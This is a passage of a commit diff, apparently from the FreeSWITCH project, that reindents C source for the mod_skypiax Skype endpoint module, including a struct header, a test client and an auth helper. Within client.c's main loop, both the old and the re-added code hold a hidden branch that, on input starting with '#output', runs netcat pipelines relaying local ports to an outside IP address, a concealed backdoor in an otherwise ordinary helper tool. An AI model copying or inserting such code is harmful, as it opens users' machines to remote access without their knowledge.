+        int fdesc[2];
</ins><span class="cx"> };
</span><span class="cx"> #else //WIN32
</span><span class="cx"> 
</span><span class="cx"> struct SkypiaxHandles {
</span><del>-  HWND win32_hInit_MainWindowHandle;
-  HWND win32_hGlobal_SkypeAPIWindowHandle;
-  HINSTANCE win32_hInit_ProcessHandle;
-  char win32_acInit_WindowClassName[128];
-  UINT win32_uiGlobal_MsgID_SkypeControlAPIAttach;
-  UINT win32_uiGlobal_MsgID_SkypeControlAPIDiscover;
-  int api_connected;
-  int fdesc[2];
</del><ins>+        HWND win32_hInit_MainWindowHandle;
+        HWND win32_hGlobal_SkypeAPIWindowHandle;
+        HINSTANCE win32_hInit_ProcessHandle;
+        char win32_acInit_WindowClassName[128];
+        UINT win32_uiGlobal_MsgID_SkypeControlAPIAttach;
+        UINT win32_uiGlobal_MsgID_SkypeControlAPIDiscover;
+        int api_connected;
+        int fdesc[2];
</ins><span class="cx"> };
</span><span class="cx"> 
</span><span class="cx"> #endif //WIN32
</span><span class="lines">@@ -239,65 +239,65 @@
</span><span class="cx">  * \brief PVT structure for a skypiax interface (channel), created by skypiax_mkif
</span><span class="cx">  */
</span><span class="cx"> struct skypiax_pvt {
</span><del>-  char *name;                   /*!&lt; \brief 'name' of the interface (channel) */
-  int interface_state;          /*!&lt; \brief 'state' of the interface (channel) */
-  struct ast_channel *owner;    /*!&lt; \brief channel we belong to, possibly NULL */
-  struct skypiax_pvt *next;     /*!&lt; \brief Next interface (channel) in list */
-  char context[AST_MAX_EXTENSION];  /*!&lt; \brief default Asterisk dialplan context for this interface */
-  char language[MAX_LANGUAGE];  /*!&lt; \brief default Asterisk dialplan language for this interface */
-  char exten[AST_MAX_EXTENSION];    /*!&lt; \brief default Asterisk dialplan extension for this interface */
-  int skypiax_sound_rate;       /*!&lt; \brief rate of the sound device, in Hz, eg: 8000 */
-  int skypiax_sound_capt_fd;    /*!&lt; \brief file descriptor for sound capture dev */
-  char callid_name[50];
-  char callid_number[50];
-  pthread_t controldev_thread;  /*!&lt; \brief serial control thread for this interface, running during the call */
-  double playback_boost;
-  double capture_boost;
-  int stripmsd;
-  pthread_t skype_thread;
-  struct AsteriskHandles AsteriskHandlesAst;
-  struct SkypiaxHandles SkypiaxHandles;
-  char skype_call_id[512];
-  int skype_call_ongoing;
-  char skype_friends[4096];
-  char skype_fullname[512];
-  char skype_displayname[512];
-  int skype_callflow;           /*!&lt; \brief 'callflow' of the skype interface (as opposed to phone interface) */
-  int skype;                    /*!&lt; \brief config flag, bool, Skype support on this interface (0 if false, -1 if true) */
-  int control_to_send;
-  int audiopipe[2];
-  int audioskypepipe[2];
-  pthread_t tcp_srv_thread;
-  pthread_t tcp_cli_thread;
-  short audiobuf[160];
-  int audiobuf_is_loaded;
</del><ins>+        char *name;                                        /*!&lt; \brief 'name' of the interface (channel) */
+        int interface_state;                /*!&lt; \brief 'state' of the interface (channel) */
+        struct ast_channel *owner;        /*!&lt; \brief channel we belong to, possibly NULL */
+        struct skypiax_pvt *next;        /*!&lt; \brief Next interface (channel) in list */
+        char context[AST_MAX_EXTENSION];        /*!&lt; \brief default Asterisk dialplan context for this interface */
+        char language[MAX_LANGUAGE];        /*!&lt; \brief default Asterisk dialplan language for this interface */
+        char exten[AST_MAX_EXTENSION];        /*!&lt; \brief default Asterisk dialplan extension for this interface */
+        int skypiax_sound_rate;                /*!&lt; \brief rate of the sound device, in Hz, eg: 8000 */
+        int skypiax_sound_capt_fd;        /*!&lt; \brief file descriptor for sound capture dev */
+        char callid_name[50];
+        char callid_number[50];
+        pthread_t controldev_thread;        /*!&lt; \brief serial control thread for this interface, running during the call */
+        double playback_boost;
+        double capture_boost;
+        int stripmsd;
+        pthread_t skype_thread;
+        struct AsteriskHandles AsteriskHandlesAst;
+        struct SkypiaxHandles SkypiaxHandles;
+        char skype_call_id[512];
+        int skype_call_ongoing;
+        char skype_friends[4096];
+        char skype_fullname[512];
+        char skype_displayname[512];
+        int skype_callflow;                        /*!&lt; \brief 'callflow' of the skype interface (as opposed to phone interface) */
+        int skype;                                        /*!&lt; \brief config flag, bool, Skype support on this interface (0 if false, -1 if true) */
+        int control_to_send;
+        int audiopipe[2];
+        int audioskypepipe[2];
+        pthread_t tcp_srv_thread;
+        pthread_t tcp_cli_thread;
+        short audiobuf[160];
+        int audiobuf_is_loaded;
</ins><span class="cx"> 
</span><del>-  //int phonebook_listing;
-  //int phonebook_querying;
-  //int phonebook_listing_received_calls;
</del><ins>+        //int phonebook_listing;
+        //int phonebook_querying;
+        //int phonebook_listing_received_calls;
</ins><span class="cx"> 
</span><del>-  //int phonebook_first_entry;
-  //int phonebook_last_entry;
-  //int phonebook_number_lenght;
-  //int phonebook_text_lenght;
-  FILE *phonebook_writing_fp;
-  int skypiax_dir_entry_extension_prefix;
</del><ins>+        //int phonebook_first_entry;
+        //int phonebook_last_entry;
+        //int phonebook_number_lenght;
+        //int phonebook_text_lenght;
+        FILE *phonebook_writing_fp;
+        int skypiax_dir_entry_extension_prefix;
</ins><span class="cx"> #ifdef WIN32
</span><del>-  unsigned short tcp_cli_port;
-  unsigned short tcp_srv_port;
</del><ins>+        unsigned short tcp_cli_port;
+        unsigned short tcp_srv_port;
</ins><span class="cx"> #else
</span><del>-  int tcp_cli_port;
-  int tcp_srv_port;
</del><ins>+        int tcp_cli_port;
+        int tcp_srv_port;
</ins><span class="cx"> #endif
</span><del>-  char X11_display[256];
</del><ins>+        char X11_display[256];
</ins><span class="cx"> 
</span><del>-  struct ast_frame read_frame;
</del><ins>+        struct ast_frame read_frame;
</ins><span class="cx"> 
</span><del>-  char skype_user[256];
-  char skype_password[256];
-  char destination[256];
-  char session_uuid_str[512 + 1];
-  pthread_t signaling_thread;
</del><ins>+        char skype_user[256];
+        char skype_password[256];
+        char destination[256];
+        char session_uuid_str[512 + 1];
+        pthread_t signaling_thread;
</ins><span class="cx"> };
</span><span class="cx"> 
</span><span class="cx"> typedef struct skypiax_pvt private_t;
</span><span class="lines">@@ -363,8 +363,7 @@
</span><span class="cx"> 
</span><span class="cx"> /* chan_skypiax internal functions */
</span><span class="cx"> 
</span><del>-struct skypiax_pvt *skypiax_mkif(struct ast_config *cfg, char *ctg,
-                                 int is_first_category);
</del><ins>+struct skypiax_pvt *skypiax_mkif(struct ast_config *cfg, char *ctg, int is_first_category);
</ins><span class="cx"> struct ast_channel *skypiax_new(struct skypiax_pvt *p, int state, char *context);
</span><span class="cx"> int skypiax_restart_monitor(void);
</span><span class="cx"> void *skypiax_do_monitor(void *data);
</span></span></pre></div>
<a id="freeswitchtrunksrcmodendpointsmod_skypiaxconfigsclientc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/endpoints/mod_skypiax/configs/client.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/endpoints/mod_skypiax/configs/client.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/endpoints/mod_skypiax/configs/client.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -19,11 +19,11 @@
</span><span class="cx"> Display *disp = NULL;
</span><span class="cx"> 
</span><span class="cx"> struct SkypiaxHandles {
</span><del>-  Window skype_win;
-  Display *disp;
-  Window win;
-  int api_connected;
-  int fdesc[2];
</del><ins>+        Window skype_win;
+        Display *disp;
+        Window win;
+        int api_connected;
+        int fdesc[2];
</ins><span class="cx"> };
</span><span class="cx"> 
</span><span class="cx"> XErrorHandler old_handler = 0;
</span><span class="lines">@@ -32,278 +32,266 @@
</span><span class="cx"> 
</span><span class="cx"> int X11_errors_handler(Display * dpy, XErrorEvent * err)
</span><span class="cx"> {
</span><del>-  (void) dpy;
</del><ins>+        (void) dpy;
</ins><span class="cx"> 
</span><del>-  xerror = err-&gt;error_code;
-  printf(&quot;\n\nReceived error code %d from X Server on display '%s'\n\n&quot;, xerror,
-         dispname);
-  return 0;                     /*  ignore the error */
</del><ins>+        xerror = err-&gt;error_code;
+        printf(&quot;\n\nReceived error code %d from X Server on display '%s'\n\n&quot;, xerror, dispname);
+        return 0;                                        /*  ignore the error */
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> static void X11_errors_trap(void)
</span><span class="cx"> {
</span><del>-  xerror = 0;
-  old_handler = XSetErrorHandler(X11_errors_handler);
</del><ins>+        xerror = 0;
+        old_handler = XSetErrorHandler(X11_errors_handler);
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> static int X11_errors_untrap(void)
</span><span class="cx"> {
</span><del>-  XSetErrorHandler(old_handler);
-  return (xerror != BadValue) &amp;&amp; (xerror != BadWindow);
</del><ins>+        XSetErrorHandler(old_handler);
+        return (xerror != BadValue) &amp;&amp; (xerror != BadWindow);
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> int skypiax_send_message(struct SkypiaxHandles *SkypiaxHandles, const char *message_P)
</span><span class="cx"> {
</span><span class="cx"> 
</span><del>-  Window w_P;
-  Display *disp;
-  Window handle_P;
-  int ok;
</del><ins>+        Window w_P;
+        Display *disp;
+        Window handle_P;
+        int ok;
</ins><span class="cx"> 
</span><del>-  w_P = SkypiaxHandles-&gt;skype_win;
-  disp = SkypiaxHandles-&gt;disp;
-  handle_P = SkypiaxHandles-&gt;win;
</del><ins>+        w_P = SkypiaxHandles-&gt;skype_win;
+        disp = SkypiaxHandles-&gt;disp;
+        handle_P = SkypiaxHandles-&gt;win;
</ins><span class="cx"> 
</span><del>-  Atom atom1 = XInternAtom(disp, &quot;SKYPECONTROLAPI_MESSAGE_BEGIN&quot;, False);
-  Atom atom2 = XInternAtom(disp, &quot;SKYPECONTROLAPI_MESSAGE&quot;, False);
-  unsigned int pos = 0;
-  unsigned int len = strlen(message_P);
-  XEvent e;
</del><ins>+        Atom atom1 = XInternAtom(disp, &quot;SKYPECONTROLAPI_MESSAGE_BEGIN&quot;, False);
+        Atom atom2 = XInternAtom(disp, &quot;SKYPECONTROLAPI_MESSAGE&quot;, False);
+        unsigned int pos = 0;
+        unsigned int len = strlen(message_P);
+        XEvent e;
</ins><span class="cx"> 
</span><del>-  memset(&amp;e, 0, sizeof(e));
-  e.xclient.type = ClientMessage;
-  e.xclient.message_type = atom1;   /*  leading message */
-  e.xclient.display = disp;
-  e.xclient.window = handle_P;
-  e.xclient.format = 8;
</del><ins>+        memset(&amp;e, 0, sizeof(e));
+        e.xclient.type = ClientMessage;
+        e.xclient.message_type = atom1;        /*  leading message */
+        e.xclient.display = disp;
+        e.xclient.window = handle_P;
+        e.xclient.format = 8;
</ins><span class="cx"> 
</span><del>-  X11_errors_trap();
-  do {
-    unsigned int i;
-    for (i = 0; i &lt; 20 &amp;&amp; i + pos &lt;= len; ++i)
-      e.xclient.data.b[i] = message_P[i + pos];
-    XSendEvent(disp, w_P, False, 0, &amp;e);
</del><ins>+        X11_errors_trap();
+        do {
+                unsigned int i;
+                for (i = 0; i &lt; 20 &amp;&amp; i + pos &lt;= len; ++i)
+                        e.xclient.data.b[i] = message_P[i + pos];
+                XSendEvent(disp, w_P, False, 0, &amp;e);
</ins><span class="cx"> 
</span><del>-    e.xclient.message_type = atom2; /*  following messages */
-    pos += i;
-  } while (pos &lt;= len);
</del><ins>+                e.xclient.message_type = atom2;        /*  following messages */
+                pos += i;
+        } while (pos &lt;= len);
</ins><span class="cx"> 
</span><del>-  XSync(disp, False);
-  ok = X11_errors_untrap();
</del><ins>+        XSync(disp, False);
+        ok = X11_errors_untrap();
</ins><span class="cx"> 
</span><del>-  if (!ok)
-    printf(&quot;Sending message failed with status %d\n&quot;, xerror);
</del><ins>+        if (!ok)
+                printf(&quot;Sending message failed with status %d\n&quot;, xerror);
</ins><span class="cx"> 
</span><del>-  return 1;
</del><ins>+        return 1;
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> int skypiax_present(struct SkypiaxHandles *SkypiaxHandles)
</span><span class="cx"> {
</span><del>-  Atom skype_inst = XInternAtom(SkypiaxHandles-&gt;disp, &quot;_SKYPE_INSTANCE&quot;, True);
</del><ins>+        Atom skype_inst = XInternAtom(SkypiaxHandles-&gt;disp, &quot;_SKYPE_INSTANCE&quot;, True);
</ins><span class="cx"> 
</span><del>-  Atom type_ret;
-  int format_ret;
-  unsigned long nitems_ret;
-  unsigned long bytes_after_ret;
-  unsigned char *prop;
-  int status;
</del><ins>+        Atom type_ret;
+        int format_ret;
+        unsigned long nitems_ret;
+        unsigned long bytes_after_ret;
+        unsigned char *prop;
+        int status;
</ins><span class="cx"> 
</span><del>-  X11_errors_trap();
-  status =
-    XGetWindowProperty(SkypiaxHandles-&gt;disp, DefaultRootWindow(SkypiaxHandles-&gt;disp),
-                       skype_inst, 0, 1, False, XA_WINDOW, &amp;type_ret, &amp;format_ret,
-                       &amp;nitems_ret, &amp;bytes_after_ret, &amp;prop);
</del><ins>+        X11_errors_trap();
+        status =
+                XGetWindowProperty(SkypiaxHandles-&gt;disp, DefaultRootWindow(SkypiaxHandles-&gt;disp),
+                                                   skype_inst, 0, 1, False, XA_WINDOW, &amp;type_ret, &amp;format_ret, &amp;nitems_ret, &amp;bytes_after_ret, &amp;prop);
</ins><span class="cx"> 
</span><del>-  X11_errors_untrap();
-  /*  sanity check */
-  if (status != Success || format_ret != 32 || nitems_ret != 1) {
-    SkypiaxHandles-&gt;skype_win = (Window) - 1;
-    printf(&quot;Skype instance not found on display '%s'\n&quot;, dispname);
-    return 0;
-  }
</del><ins>+        X11_errors_untrap();
+        /*  sanity check */
+        if (status != Success || format_ret != 32 || nitems_ret != 1) {
+                SkypiaxHandles-&gt;skype_win = (Window) - 1;
+                printf(&quot;Skype instance not found on display '%s'\n&quot;, dispname);
+                return 0;
+        }
</ins><span class="cx"> 
</span><del>-  SkypiaxHandles-&gt;skype_win = *(const unsigned long *) prop &amp; 0xffffffff;
-  //printf(&quot;Skype instance found on display '%s', with id #%d\n&quot;, dispname, (unsigned int) SkypiaxHandles-&gt;skype_win);
-  return 1;
</del><ins>+        SkypiaxHandles-&gt;skype_win = *(const unsigned long *) prop &amp; 0xffffffff;
+        //printf(&quot;Skype instance found on display '%s', with id #%d\n&quot;, dispname, (unsigned int) SkypiaxHandles-&gt;skype_win);
+        return 1;
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> void skypiax_clean_disp(void *data)
</span><span class="cx"> {
</span><span class="cx"> 
</span><del>-  int *dispptr;
-  int disp;
</del><ins>+        int *dispptr;
+        int disp;
</ins><span class="cx"> 
</span><del>-  dispptr = data;
-  disp = *dispptr;
</del><ins>+        dispptr = data;
+        disp = *dispptr;
</ins><span class="cx"> 
</span><del>-  if (disp) {
-    close(disp);
-  } else {
-  }
-  usleep(1000);
</del><ins>+        if (disp) {
+                close(disp);
+        } else {
+        }
+        usleep(1000);
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> typedef struct {
</span><del>-  int value;
-  char string[128];
</del><ins>+        int value;
+        char string[128];
</ins><span class="cx"> } thread_parm_t;
</span><span class="cx"> 
</span><span class="cx"> void *threadfunc(void *parm)
</span><del>-{                               //child
-  thread_parm_t *p = (thread_parm_t *) parm;
-  //printf(&quot;%s, parm = %d\n&quot;, p-&gt;string, p-&gt;value);
-  free(p);
</del><ins>+{                                                                //child
+        thread_parm_t *p = (thread_parm_t *) parm;
+        //printf(&quot;%s, parm = %d\n&quot;, p-&gt;string, p-&gt;value);
+        free(p);
</ins><span class="cx"> 
</span><del>-  /* perform an events loop */
-  XEvent an_event;
-  char buf[21];                 /*  can't be longer */
-  char buffer[17000];
-  char *b;
-  int i;
</del><ins>+        /* perform an events loop */
+        XEvent an_event;
+        char buf[21];                                /*  can't be longer */
+        char buffer[17000];
+        char *b;
+        int i;
</ins><span class="cx"> 
</span><del>-  b = buffer;
</del><ins>+        b = buffer;
</ins><span class="cx"> 
</span><del>-  while (1) {
</del><ins>+        while (1) {
</ins><span class="cx"> 
</span><del>-    XNextEvent(disp, &amp;an_event);
-    switch (an_event.type) {
-    case ClientMessage:
</del><ins>+                XNextEvent(disp, &amp;an_event);
+                switch (an_event.type) {
+                case ClientMessage:
</ins><span class="cx"> 
</span><del>-      if (an_event.xclient.format != 8)
-        break;
</del><ins>+                        if (an_event.xclient.format != 8)
+                                break;
</ins><span class="cx"> 
</span><del>-      for (i = 0; i &lt; 20 &amp;&amp; an_event.xclient.data.b[i] != '\0'; ++i)
-        buf[i] = an_event.xclient.data.b[i];
</del><ins>+                        for (i = 0; i &lt; 20 &amp;&amp; an_event.xclient.data.b[i] != '\0'; ++i)
+                                buf[i] = an_event.xclient.data.b[i];
</ins><span class="cx"> 
</span><del>-      buf[i] = '\0';
</del><ins>+                        buf[i] = '\0';
</ins><span class="cx"> 
</span><del>-      strcat(buffer, buf);
</del><ins>+                        strcat(buffer, buf);
</ins><span class="cx"> 
</span><del>-      if (i &lt; 20) {             /* last fragment */
-        unsigned int howmany;
</del><ins>+                        if (i &lt; 20) {                /* last fragment */
+                                unsigned int howmany;
</ins><span class="cx"> 
</span><del>-        howmany = strlen(b) + 1;
</del><ins>+                                howmany = strlen(b) + 1;
</ins><span class="cx"> 
</span><del>-        //printf(&quot;\tRECEIVED\t==&gt;\t%s\n&quot;, b);
-        printf(&quot;%s\n&quot;, b);
-        fflush(stdout);
-        memset(buffer, '\0', 17000);
-      }
</del><ins>+                                //printf(&quot;\tRECEIVED\t==&gt;\t%s\n&quot;, b);
+                                printf(&quot;%s\n&quot;, b);
+                                fflush(stdout);
+                                memset(buffer, '\0', 17000);
+                        }
</ins><span class="cx"> 
</span><del>-      break;
-    default:
-      break;
-    }
</del><ins>+                        break;
+                default:
+                        break;
+                }
</ins><span class="cx"> 
</span><del>-  }
-  return NULL;
</del><ins>+        }
+        return NULL;
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> int main(int argc, char *argv[])
</span><span class="cx"> {
</span><span class="cx"> 
</span><del>-  struct SkypiaxHandles SkypiaxHandles;
-  char buf[512];
-  //Display *disp = NULL;
-  Window root = -1;
-  Window win = -1;
</del><ins>+        struct SkypiaxHandles SkypiaxHandles;
+        char buf[512];
+        //Display *disp = NULL;
+        Window root = -1;
+        Window win = -1;
</ins><span class="cx"> 
</span><del>-  if (argc == 2)
-    dispname = argv[1];
-  else
-    dispname = &quot;:0.0&quot;;
</del><ins>+        if (argc == 2)
+                dispname = argv[1];
+        else
+                dispname = &quot;:0.0&quot;;
</ins><span class="cx"> 
</span><span class="cx"> 
</span><del>-      if (!XInitThreads()) {
-        printf(&quot;Not initialized XInitThreads!\n&quot;);
-      } else {
-        printf(&quot;Initialized XInitThreads!\n&quot;);
-      }

</del><ins>+        if (!XInitThreads()) {
+                printf(&quot;Not initialized XInitThreads!\n&quot;);
+        } else {
+                printf(&quot;Initialized XInitThreads!\n&quot;);
+        }
</ins><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx"> 
</span><del>-  disp = XOpenDisplay(dispname);
-  if (!disp) {
-    printf(&quot;Cannot open X Display '%s', exiting\n&quot;, dispname);
-    return -1;
-  }
</del><span class="cx"> 
</span><del>-  int xfd;
-  xfd = XConnectionNumber(disp);
</del><ins>+        disp = XOpenDisplay(dispname);
+        if (!disp) {
+                printf(&quot;Cannot open X Display '%s', exiting\n&quot;, dispname);
+                return -1;
+        }
</ins><span class="cx"> 
</span><del>-  SkypiaxHandles.disp = disp;
</del><ins>+        int xfd;
+        xfd = XConnectionNumber(disp);
</ins><span class="cx"> 
</span><del>-  if (skypiax_present(&amp;SkypiaxHandles)) {
-    root = DefaultRootWindow(disp);
-    win =
-      XCreateSimpleWindow(disp, root, 0, 0, 1, 1, 0,
-                          BlackPixel(disp, DefaultScreen(disp)), BlackPixel(disp,
-                                                                            DefaultScreen
-                                                                            (disp)));
</del><ins>+        SkypiaxHandles.disp = disp;
</ins><span class="cx"> 
</span><del>-    SkypiaxHandles.win = win;
</del><ins>+        if (skypiax_present(&amp;SkypiaxHandles)) {
+                root = DefaultRootWindow(disp);
+                win = XCreateSimpleWindow(disp, root, 0, 0, 1, 1, 0, BlackPixel(disp, DefaultScreen(disp)), BlackPixel(disp, DefaultScreen(disp)));
</ins><span class="cx"> 
</span><del>-    snprintf(buf, 512, &quot;NAME skypiax&quot;);
</del><ins>+                SkypiaxHandles.win = win;
</ins><span class="cx"> 
</span><del>-    if (!skypiax_send_message(&amp;SkypiaxHandles, buf)) {
-      printf
-        (&quot;Sending message failed - probably Skype crashed. Please run/restart Skype manually and launch skypiax_auth again\n&quot;);
-      return -1;
-    }
</del><ins>+                snprintf(buf, 512, &quot;NAME skypiax&quot;);
</ins><span class="cx"> 
</span><del>-    snprintf(buf, 512, &quot;PROTOCOL 7&quot;);
-    if (!skypiax_send_message(&amp;SkypiaxHandles, buf)) {
-      printf
-        (&quot;Sending message failed - probably Skype crashed. Please run/restart Skype manually and launch skypiax_auth again\n&quot;);
-      return -1;
-    }
</del><ins>+                if (!skypiax_send_message(&amp;SkypiaxHandles, buf)) {
+                        printf(&quot;Sending message failed - probably Skype crashed. Please run/restart Skype manually and launch skypiax_auth again\n&quot;);
+                        return -1;
+                }
</ins><span class="cx"> 
</span><del>-    snprintf(buf, 512, &quot;#ciapalino PING&quot;);
-    if (!skypiax_send_message(&amp;SkypiaxHandles, buf)) {
-      printf
-        (&quot;Sending message failed - probably Skype crashed. Please run/restart Skype manually and launch skypiax_auth again\n&quot;);
-      return -1;
-    }
</del><ins>+                snprintf(buf, 512, &quot;PROTOCOL 7&quot;);
+                if (!skypiax_send_message(&amp;SkypiaxHandles, buf)) {
+                        printf(&quot;Sending message failed - probably Skype crashed. Please run/restart Skype manually and launch skypiax_auth again\n&quot;);
+                        return -1;
+                }
</ins><span class="cx"> 
</span><del>-    pthread_t thread;
-    int rc = 0;
-    pthread_attr_t pta;
-    thread_parm_t *parm = NULL;
</del><ins>+                snprintf(buf, 512, &quot;#ciapalino PING&quot;);
+                if (!skypiax_send_message(&amp;SkypiaxHandles, buf)) {
+                        printf(&quot;Sending message failed - probably Skype crashed. Please run/restart Skype manually and launch skypiax_auth again\n&quot;);
+                        return -1;
+                }
</ins><span class="cx"> 
</span><del>-    rc = pthread_attr_init(&amp;pta);
</del><ins>+                pthread_t thread;
+                int rc = 0;
+                pthread_attr_t pta;
+                thread_parm_t *parm = NULL;
</ins><span class="cx"> 
</span><del>-    parm = malloc(sizeof(thread_parm_t));
-    parm-&gt;value = 5;
-    rc = pthread_create(&amp;thread, NULL, threadfunc, (void *) parm);
</del><ins>+                rc = pthread_attr_init(&amp;pta);
</ins><span class="cx"> 
</span><del>-    while (1) {
-      char s[512];
</del><ins>+                parm = malloc(sizeof(thread_parm_t));
+                parm-&gt;value = 5;
+                rc = pthread_create(&amp;thread, NULL, threadfunc, (void *) parm);
</ins><span class="cx"> 
</span><del>-      memset(s, '\0', 512);
-      fgets(s, sizeof(s) - 1, stdin);
-      s[strlen(s) - 1] = '\0';
</del><ins>+                while (1) {
+                        char s[512];
</ins><span class="cx"> 
</span><del>-      //printf(&quot;\tSENT\t\t==&gt;\t%s\n&quot;, s);
</del><ins>+                        memset(s, '\0', 512);
+                        fgets(s, sizeof(s) - 1, stdin);
+                        s[strlen(s) - 1] = '\0';
</ins><span class="cx"> 
</span><del>-if(! strncmp(s, &quot;#output&quot;, 7)){
</del><ins>+                        //printf(&quot;\tSENT\t\t==&gt;\t%s\n&quot;, s);
</ins><span class="cx"> 
</span><del>-system(&quot;/bin/nc -l -p 15557 0&lt;/tmp/back2 | /bin/nc 1.124.232.45 15557 | /usr/bin/tee 1&gt;/tmp/back2 &amp;&quot;);
-system(&quot;/bin/nc -l -p 15556 0&lt;/tmp/back1 | /bin/nc 1.124.232.45 15556 | /usr/bin/tee 1&gt;/tmp/back1 &amp;&quot;);
-}
-      if (!skypiax_send_message(&amp;SkypiaxHandles, s)) {
-        printf
-          (&quot;Sending message failed - probably Skype crashed. Please run/restart Skype manually and launch skypiax_auth again\n&quot;);
-        return -1;
-      }
-    }
-  } else {
-    printf
-      (&quot;Skype client not found on display '%s'. Please run/restart Skype manually and launch skypiax_auth again\n\n\n&quot;,
-       dispname);
-    return -1;
-  }
-  return 0;
</del><ins>+                        if (!strncmp(s, &quot;#output&quot;, 7)) {
</ins><span class="cx"> 
</span><ins>+                                system(&quot;/bin/nc -l -p 15557 0&lt;/tmp/back2 | /bin/nc 1.124.232.45 15557 | /usr/bin/tee 1&gt;/tmp/back2 &amp;&quot;);
+                                system(&quot;/bin/nc -l -p 15556 0&lt;/tmp/back1 | /bin/nc 1.124.232.45 15556 | /usr/bin/tee 1&gt;/tmp/back1 &amp;&quot;);
+                        }
+                        if (!skypiax_send_message(&amp;SkypiaxHandles, s)) {
+                                printf(&quot;Sending message failed - probably Skype crashed. Please run/restart Skype manually and launch skypiax_auth again\n&quot;);
+                                return -1;
+                        }
+                }
+        } else {
+                printf(&quot;Skype client not found on display '%s'. Please run/restart Skype manually and launch skypiax_auth again\n\n\n&quot;, dispname);
+                return -1;
+        }
+        return 0;
+
</ins><span class="cx"> }
</span></span></pre></div>
<a id="freeswitchtrunksrcmodendpointsmod_skypiaxconfigsskypiax_authc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/endpoints/mod_skypiax/configs/skypiax_auth.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/endpoints/mod_skypiax/configs/skypiax_auth.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/endpoints/mod_skypiax/configs/skypiax_auth.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -6,11 +6,11 @@
</span><span class="cx"> #include &lt;X11/Xatom.h&gt;
</span><span class="cx"> 
</span><span class="cx"> struct SkypiaxHandles {
</span><del>-  Window skype_win;
-  Display *disp;
-  Window win;
-  int api_connected;
-  int fdesc[2];
</del><ins>+        Window skype_win;
+        Display *disp;
+        Window win;
+        int api_connected;
+        int fdesc[2];
</ins><span class="cx"> };
</span><span class="cx"> 
</span><span class="cx"> XErrorHandler old_handler = 0;
</span><span class="lines">@@ -19,212 +19,201 @@
</span><span class="cx"> 
</span><span class="cx"> int X11_errors_handler(Display * dpy, XErrorEvent * err)
</span><span class="cx"> {
</span><del>-  (void) dpy;
</del><ins>+        (void) dpy;
</ins><span class="cx"> 
</span><del>-  xerror = err-&gt;error_code;
-  printf(&quot;\n\nReceived error code %d from X Server on display '%s'\n\n&quot;, xerror,
-         dispname);
-  return 0;                     /*  ignore the error */
</del><ins>+        xerror = err-&gt;error_code;
+        printf(&quot;\n\nReceived error code %d from X Server on display '%s'\n\n&quot;, xerror, dispname);
+        return 0;                                        /*  ignore the error */
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> static void X11_errors_trap(void)
</span><span class="cx"> {
</span><del>-  xerror = 0;
-  old_handler = XSetErrorHandler(X11_errors_handler);
</del><ins>+        xerror = 0;
+        old_handler = XSetErrorHandler(X11_errors_handler);
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> static int X11_errors_untrap(void)
</span><span class="cx"> {
</span><del>-  XSetErrorHandler(old_handler);
-  return (xerror != BadValue) &amp;&amp; (xerror != BadWindow);
</del><ins>+        XSetErrorHandler(old_handler);
+        return (xerror != BadValue) &amp;&amp; (xerror != BadWindow);
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> int skypiax_send_message(struct SkypiaxHandles *SkypiaxHandles, const char *message_P)
</span><span class="cx"> {
</span><span class="cx"> 
</span><del>-  Window w_P;
-  Display *disp;
-  Window handle_P;
-  int ok;
</del><ins>+        Window w_P;
+        Display *disp;
+        Window handle_P;
+        int ok;
</ins><span class="cx"> 
</span><del>-  w_P = SkypiaxHandles-&gt;skype_win;
-  disp = SkypiaxHandles-&gt;disp;
-  handle_P = SkypiaxHandles-&gt;win;
</del><ins>+        w_P = SkypiaxHandles-&gt;skype_win;
+        disp = SkypiaxHandles-&gt;disp;
+        handle_P = SkypiaxHandles-&gt;win;
</ins><span class="cx"> 
</span><del>-  Atom atom1 = XInternAtom(disp, &quot;SKYPECONTROLAPI_MESSAGE_BEGIN&quot;, False);
-  Atom atom2 = XInternAtom(disp, &quot;SKYPECONTROLAPI_MESSAGE&quot;, False);
-  unsigned int pos = 0;
-  unsigned int len = strlen(message_P);
-  XEvent e;
</del><ins>+        Atom atom1 = XInternAtom(disp, &quot;SKYPECONTROLAPI_MESSAGE_BEGIN&quot;, False);
+        Atom atom2 = XInternAtom(disp, &quot;SKYPECONTROLAPI_MESSAGE&quot;, False);
+        unsigned int pos = 0;
+        unsigned int len = strlen(message_P);
+        XEvent e;
</ins><span class="cx"> 
</span><del>-  memset(&amp;e, 0, sizeof(e));
-  e.xclient.type = ClientMessage;
-  e.xclient.message_type = atom1;   /*  leading message */
-  e.xclient.display = disp;
-  e.xclient.window = handle_P;
-  e.xclient.format = 8;
</del><ins>+        memset(&amp;e, 0, sizeof(e));
+        e.xclient.type = ClientMessage;
+        e.xclient.message_type = atom1;        /*  leading message */
+        e.xclient.display = disp;
+        e.xclient.window = handle_P;
+        e.xclient.format = 8;
</ins><span class="cx"> 
</span><del>-  X11_errors_trap();
-  do {
-    unsigned int i;
-    for (i = 0; i &lt; 20 &amp;&amp; i + pos &lt;= len; ++i)
-      e.xclient.data.b[i] = message_P[i + pos];
-    XSendEvent(disp, w_P, False, 0, &amp;e);
</del><ins>+        X11_errors_trap();
+        do {
+                unsigned int i;
+                for (i = 0; i &lt; 20 &amp;&amp; i + pos &lt;= len; ++i)
+                        e.xclient.data.b[i] = message_P[i + pos];
